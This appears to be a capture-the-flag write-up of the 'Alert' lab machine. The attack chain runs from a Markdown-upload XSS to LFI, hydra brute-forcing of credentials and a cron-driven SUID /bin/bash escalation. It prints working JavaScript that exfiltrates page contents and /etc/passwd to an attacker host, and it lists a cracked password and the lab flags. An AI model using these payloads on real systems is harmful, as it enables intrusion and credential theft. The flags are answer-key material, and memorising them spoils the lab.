Skip to content

Alert

Machine Details

Resolution Summary
  1. Web Service allows for Cross Site Scripting.
  2. Cross Site Scripting leads to a Local File Inclusion.
  3. Obtain and Crack user credentials with Local File Inclusion.
  4. Abuse privileges to set UID bit in /bin/bash.
Used tools
  • nmap
  • ffuf
  • python3
  • hydra

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -sS -p- -Pn -n --open 10.129.231.188 -oG ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Enumerated open TCP ports:

❯ sudo nmap -sCV -p22,80 -Pn -n 10.129.231.188 -oN nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80 - HTTP (Apache)

Port 80 redirects to domain alert.htb, we enumerate subdomains and find statistics.alert.htb.

❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://alert.htb/ -H "Host: FUZZ.alert.htb" -fw 20
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 60ms]

File enumeration.

❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://alert.htb/FUZZ -e .php
index.php               [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 43ms]
uploads                 [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 41ms]
contact.php             [Status: 200, Size: 24, Words: 3, Lines: 2, Duration: 3427ms]
messages                [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 65ms]
messages.php            [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 49ms]

Visual navigation of the page.

  • Markdown Viewer Markdown Viewer

  • Contact Us Contact Us

  • About Us About Us

We are going to test the functionality of this web service by uploading the following file.

❯ cat TestFile.md
# This will be the title

## Secondary Title

Some random text.

- First element of list.
- Second element of list.

Upload Test File

We can see that the file was uploaded and processed.


Exploitation

XSS

As we are able to control the content in the body of the webpage, we can test if it sanitizes the output, to do this we will add something like <script>alert(1)</script> to the end of our TestFile.md and re-upload the file.

As we can see our code gets executed properly, this means that we can potentially do some Cross Site Scripting if we are able to trick someone into opening this file. First XSS

For the moment we will edit our Markdown file. The sole content of the file will be the following:

<script src="http://10.10.17.107/pwned.js></script>

By doing this we can update the content of the JavaScript dynamically without needing to upload a new file. As a quick example, we will serve the file with python3 -m http.server 80. We have created the file pwned.js with the content alert("Running in pwned.js"), and now we can send the new Markdown file.

Once we upload and visualize our file, we will be able to see the new alert content as well as a request in the Python3 HTTP server instance. PwnedJS Alert

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.17.107 - - [04/Jan/2026 23:47:28] "GET /pwned.js HTTP/1.1" 200 -

Now, we need someone who opens up this file so the malicious code gets executed. We can see on the bottom right that we have a button called “Share Markdown”, if we click it, a new tab will appear with a link to the same Markdown file we uploaded.

If we recover the About Us page, it said “Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.”. This means that probably if we send a message over the Contact Us which contains the link to our malicious file, the administrator of the web service will open our file and, potentially, execute the malicious code.

So, we grab the link from the “Share Markdown” button, and send it through the Contact Us form.

Contact Form

Now, if we take a peek into the Python3 HTTP server, we can see a petition to pwned.js which is coming from a different IP.

10.129.231.188 - - [04/Jan/2026 23:52:36] "GET /pwned.js HTTP/1.1" 200 -

Now we just need to modify the content of pwned.js and send another message to the administrator in order to trigger the vulnerability.

Earlier before we saw the file messages.php, but if we check it’s content we see nothing. Se we are going to try and see if the system administrator can see any message. We will do this by first doing a request to http://alert.htb/messages.php, obtaining the response, encoding it in Base64 and, finally, sending it through another request to our own controlled web server (which we have already set up).

The code to do this will be the following:

var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php', true);
req.onload = (e) => {
  if (req.readyState === 4) {
    if (req.status === 200) {
      var req2 = new XMLHttpRequest();
      req2.open('GET', 'http://10.10.17.107/?content=' + btoa(req.responseText), true);
      req2.send(null);
    }
  }
}
req.send(null);

When we make the administrator run this code, we can see the following logs in the Python3 HTTP server, first we have the request to the malicious code pwned.js, then we have the request which sends us the content of the request to messages.php, we just need to decode it.

10.129.231.188 - - [05/Jan/2026 00:15:50] "GET /pwned.js HTTP/1.1" 200 -
10.129.231.188 - - [05/Jan/2026 00:15:50] "GET /?content=PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg== HTTP/1.1" 200 -
❯ echo -n "PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==" | base64 -d
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

From the decoded content of the request we can see how the messages.php contains a parameter called file. We will test this parameter for Local File Inclusion by modifying the URL second line of our malicious code, we will append the parameter and something like ../../../../../../../etc/passwd, so the final code is:

 catn pwned.js
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../../etc/passwd', true);
req.onload = (e) => {
  if (req.readyState === 4) {
    if (req.status === 200) {
      var req2 = new XMLHttpRequest();
      req2.open('GET', 'http://10.10.17.107/?content=' + btoa(req.responseText), true);
      req2.send(null);
    }
  }
}
req.send(null);

This time we can see a much bigger request:

10.129.231.188 - - [05/Jan/2026 00:21:12] "GET /pwned.js HTTP/1.1" 200 -
10.129.231.188 - - [05/Jan/2026 00:21:12] "GET /?content=PHBy<content_truncated>U+Cg== HTTP/1.1" 200 -

If we decode this content we will see the /etc/passwd file of the Alert machine, which we can easily filter for real users to find them.

❯ echo -n "PHBy<content_truncated>U+Cg==" | base64 -d | grep "sh$"
<pre>root:x:0:0:root:/root:/bin/bash
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash

Now it’s time to use the subdomain we found at the beginning. If we try to connect to it a HTTP Authentication will appear, we can try to brute-force this with Hydra for both users.

We will use the following command, just updating the name and output file.

❯ hydra -I -l albert -P /usr/share/wordlists/rockyou.txt statistics.alert.htb http-get -o hydra_albert.txt

If we wait a bit we can see that Hydra found the password for albert.

[80][http-get] host: statistics.alert.htb   login: albert   password: manchesterunited

Now that we obtained credentials we can test if they work system-wide (SSH).

❯ ssh albert@alert.htb
albert@alert.htb\'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
...
Last login: Sun Jan  4 23:32:29 2026 from 10.10.17.107
albert@alert:~$

And yeah, they do work, we’ve got the user flag in it’s home.


Privilege escalation to root

Local enumeration

Using a id command we can quickly see that albert is member of a group called management.

albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

Now we can try to find files which belong to this group.

albert@alert:~$ find / -gid 1001 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php

Let’s read the file.

albert@alert:~$ cat /opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>

We can go to this path to analyze it.

albert@alert:/opt/website-monitor$ ls -lR
.:
total 84
-rwxrwxr-x 1 root root        1068 Oct 12  2024 LICENSE
-rwxrwxr-x 1 root root       40849 Oct 12  2024 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12  2024 README.md
drwxrwxr-x 2 root management  4096 Oct 12  2024 config
drwxrwxr-x 2 root root        4096 Oct 12  2024 incidents
-rwxrwxr-x 1 root root        5323 Oct 12  2024 index.php
-rwxrwxr-x 1 root root        1452 Oct 12  2024 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12  2024 monitors
-rwxrwxr-x 1 root root         104 Oct 12  2024 monitors.json
-rwxrwxr-x 1 root root        1918 Oct 12  2024 style.css
drwxrwxr-x 2 root root        4096 Oct 12  2024 updates

./config:
total 4
-rwxrwxr-x 1 root management 49 Nov  5  2024 configuration.php

./incidents:
total 4
-rwxrwxr-x 1 root root 30 Oct 12  2024 message.md

./monitors:
total 16
-rw-r--r-x 1 root root 5575 Jan  4 23:37 alert.htb
-rw-r--r-x 1 root root 5579 Jan  4 23:37 statistics.alert.htb

./updates:
total 8
-rwxrwxr-x 1 root root 53 Oct 12  2024 example.com.md
-rwxrwxr-x 1 root root 55 Oct 12  2024 wikipedia.org.md

We see a monitors folder which contains both domains we were attacking. If we check those files we see a JSON format with the following content:

{
"timestamp": 1767569881,
"time": 0.239,
"response": 302
}

If we check that timestamp we can see that it belongs to now, we can check a few timestamps before and we will see that this gets executed every minute.

As we saw we can edit configuration.php file, if we can find any other piece of code that loads that file at every run, we will be able to run code as root.

albert@alert:/opt/website-monitor$ grep -R "configuration.php" .
./monitor.php:include('config/configuration.php');
./index.php:include('config/configuration.php');

If we read the full monitor.php file we can find a comment talking about a crontab job that executes that file.

<?php
/*

Website Monitor
===============

Hello! This is the monitor script, which does the actual monitoring of websites
stored in monitors.json.

You can run this manually, but it¬タルs probably better if you use a cron job.
Here¬タルs an example of a crontab entry that will run it every minute:

* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1

*/

include('config/configuration.php');

$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
...

This means that every minute the file configuration.php, which we can control, gets executed by the user root.

Privilege Escalation vector

Let’s use our permissions in configuration.php to give SUID permissions to /bin/bash.

configuration.php updated file

Once we save the file we will get warnings that the file has changed on disk, this is because the file gets restored to it’s original version, but that doesn’t mean the code didn’t get run, we can check the permissions of /bin/bash

albert@alert:/opt/website-monitor$ cat config/configuration.php 
<?php
define('PATH', '/opt/website-monitor');
?>
albert@alert:/opt/website-monitor$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Finally we just run bash in the privileged mode.

albert@alert:/opt/website-monitor$ /bin/bash -p
bash-5.0# whoami
root

Trophy

User.txt

ac0470c67237da8c230b825c36c968f1

Root.txt

4124c29b5a5a48b54012a71c543616ab